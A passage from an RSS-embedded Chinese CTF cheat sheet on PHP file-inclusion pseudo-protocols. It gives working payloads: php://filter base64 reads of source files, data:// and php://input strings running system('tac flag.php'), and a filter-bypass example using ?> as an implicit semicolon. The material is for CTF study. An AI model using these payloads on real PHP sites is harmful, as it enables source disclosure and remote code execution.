style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;utf&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;8.&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;utf&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;16&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;convert&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;base64&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;encode&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;resource&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;flag&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;php&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xD;&#xA;    &lt;blockquote&gt;&#xD;&#xA;        &lt;p&gt;⚠️ base64 输出里可能带 &lt;code&gt;+ / =&lt;/code&gt;，在 URL 中会被编码成 &lt;code&gt;%2B %2F %3D&lt;/code&gt;，看到这种记得 urldecode&lt;/p&gt;&#xA;&#xD;&#xA;    &lt;/blockquote&gt;&#xD;&#xA;&lt;h3 id=&#34;-data--直接执行代码&#34;&gt;② data:// —— 直接执行代码&#xD;&#xA;&lt;/h3&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-php&#34; data-lang=&#34;php&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;// 塞一段 PHP 代码执行（&amp;lt;?= 是短标签，等价 &amp;lt;?php echo）&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;data&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;://&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;text&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;plain&lt;/span&gt;,&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;?=&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;system&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;tac flag.php&amp;#39;&lt;/span&gt;);&lt;span style=&#34;color:#75715e&#34;&gt;?&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;// 普通文本（配合 include 输出文本内容）&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;data://text/plain,hello&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;-phpinput--post-内容当代码&#34;&gt;③ php://input —— POST 内容当代码&#xD;&#xA;&lt;/h3&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-php&#34; data-lang=&#34;php&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;// URL 里写：php://input&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;// POST 请求体里写：&amp;lt;?php system(&amp;#39;tac flag.php&amp;#39;);?&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;-其它了解即可&#34;&gt;④ 其它（了解即可）&#xD;&#xA;&lt;/h3&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-php&#34; data-lang=&#34;php&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;php&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;://&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;temp&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;php&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;://&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;memory&lt;/span&gt;   &lt;span style=&#34;color:#a6e22e&#34;&gt;临时&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;内存流&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;expect&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;://&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;命令&lt;/span&gt;               &lt;span style=&#34;color:#a6e22e&#34;&gt;执行命令（需装&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;expect&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;扩展，基本遇不到）&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;php&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;://&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;filter&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;string&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;rot13&lt;/span&gt;   &lt;span style=&#34;color:#a6e22e&#34;&gt;过滤器：rot13&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;加密（绕过过滤时用）&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;&#xA;&lt;h2 id=&#34;三场景速查表&#34;&gt;三、场景速查表&#xD;&#xA;&lt;/h2&gt;&lt;table&gt;&#xA;&#x9;&lt;thead&gt;&#xA;&#x9;&#x9;&#x9;&lt;tr&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;th&gt;场景&lt;/th&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;th&gt;用什么&lt;/th&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;th&gt;例子&lt;/th&gt;&#xA;&#x9;&#x9;&#x9;&lt;/tr&gt;&#xA;&#x9;&lt;/thead&gt;&#xA;&#x9;&lt;tbody&gt;&#xA;&#x9;&#x9;&#x9;&lt;tr&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;td&gt;include 了 PHP 文件，想&lt;strong&gt;看源码&lt;/strong&gt;&lt;/td&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;td&gt;&lt;code&gt;php://filter&lt;/code&gt; + base64&lt;/td&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;td&gt;&lt;code&gt;?file=php://filter/read=convert.base64-encode/resource=index.php&lt;/code&gt;&lt;/td&gt;&#xA;&#x9;&#x9;&#x9;&lt;/tr&gt;&#xA;&#x9;&#x9;&#x9;&lt;tr&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;td&gt;include 可控，想&lt;strong&gt;执行代码&lt;/strong&gt;&lt;/td&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;td&gt;&lt;code&gt;data://&lt;/code&gt; 或 &lt;code&gt;php://input&lt;/code&gt;&lt;/td&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;td&gt;&lt;code&gt;?file=data://text/plain,&amp;lt;?=phpinfo();?&amp;gt;&lt;/code&gt;&lt;/td&gt;&#xA;&#x9;&#x9;&#x9;&lt;/tr&gt;&#xA;&#x9;&#x9;&#x9;&lt;tr&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;td&gt;有文件包含但&lt;strong&gt;过滤了关键字&lt;/strong&gt;&lt;/td&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;td&gt;过滤器链 / 编码绕过&lt;/td&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;td&gt;&lt;code&gt;convert.iconv&lt;/code&gt; 链、rot13、二次编码&lt;/td&gt;&#xA;&#x9;&#x9;&#x9;&lt;/tr&gt;&#xA;&#x9;&#x9;&#x9;&lt;tr&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;td&gt;读非 PHP 文件（txt/json）&lt;/td&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;td&gt;&lt;code&gt;php://filter/resource=&lt;/code&gt; 或直接路径&lt;/td&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;td&gt;&lt;code&gt;?file=flag.txt&lt;/code&gt;&lt;/td&gt;&#xA;&#x9;&#x9;&#x9;&lt;/tr&gt;&#xA;&#x9;&lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&lt;hr&gt;&#xA;&lt;h2 id=&#34;四考点总结ctf-怎么考&#34;&gt;四、考点总结（CTF 怎么考）&#xD;&#xA;&lt;/h2&gt;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;经典套路&lt;/strong&gt;：&lt;code&gt;include $_GET[&#39;file&#39;]&lt;/code&gt; → &lt;code&gt;?file=php://filter/read=convert.base64-encode/resource=flag.php&lt;/code&gt; → base64 解码拿 flag&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;配合过滤绕过&lt;/strong&gt;：过滤了 &lt;code&gt;;&lt;/code&gt; → 用 &lt;code&gt;?&amp;gt;&lt;/code&gt; 当分号（PHP 闭合标签=隐式分号）；过滤了关键字 → 把 payload 挪到未过滤的参数（见《文件包含》案例题）&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;过滤器链&lt;/strong&gt;（进阶）：&lt;code&gt;convert.iconv.*&lt;/code&gt; 多过滤器组合可以构造任意字符，用于绕过更严格的过滤（如只能读部分字符）&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;php://input 需要 allow_url_include=On&lt;/strong&gt;，题目开不了的话用 &lt;code&gt;data://&lt;/code&gt; 代替&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;hr&gt;&#xA;&lt;h2 id=&#34;五实战案例小迪题分号过滤--伪协议&#34;&gt;五、实战案例（小迪题：分号过滤 + 伪协议）&#xD;&#xA;&lt;/h2&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-php&#34; data-lang=&#34;php&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;// 源码：eval($_GET[&amp;#39;c&amp;#39;])，过滤 flag|system|php|cat|sort|shell|.|echo|;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;// 绕过：分号用 ?&amp;gt; 代替，payload 挪到未过滤的 a 参数&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;?&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;c&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;include&lt;/span&gt; $_GET[&lt;span style=&#34;color:#a6e22e&#34;&gt;a&lt;/span&gt;] &lt;span style=&#34;color:#75715e&#34;&gt;?&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&amp;amp;a=php://filter/read=convert.base64-encode/resource=flag.php&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;// 或&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;?c=include $_GET[a] ?&amp;gt;&amp;amp;a=data://text/plain,&amp;lt;?=system(&amp;#39;tac flag.php&amp;#39;);?&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;两层绕过&lt;/strong&gt;：&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;;&lt;/code&gt; 被过滤 → &lt;code&gt;?&amp;gt;&lt;/code&gt; 隐式分号收尾&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;system/flag/php/.&lt;/code&gt; 被过滤 → 全部塞进未过滤的 &lt;code&gt;a&lt;/code&gt; 参数&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;hr&gt;&#xA;&lt;p&gt;&lt;em&gt;速查表持续补充，遇到新考法随时更新。&lt;/em&gt;&lt;/p&gt;&#xA;</description>
        </item></channel>
</rss>
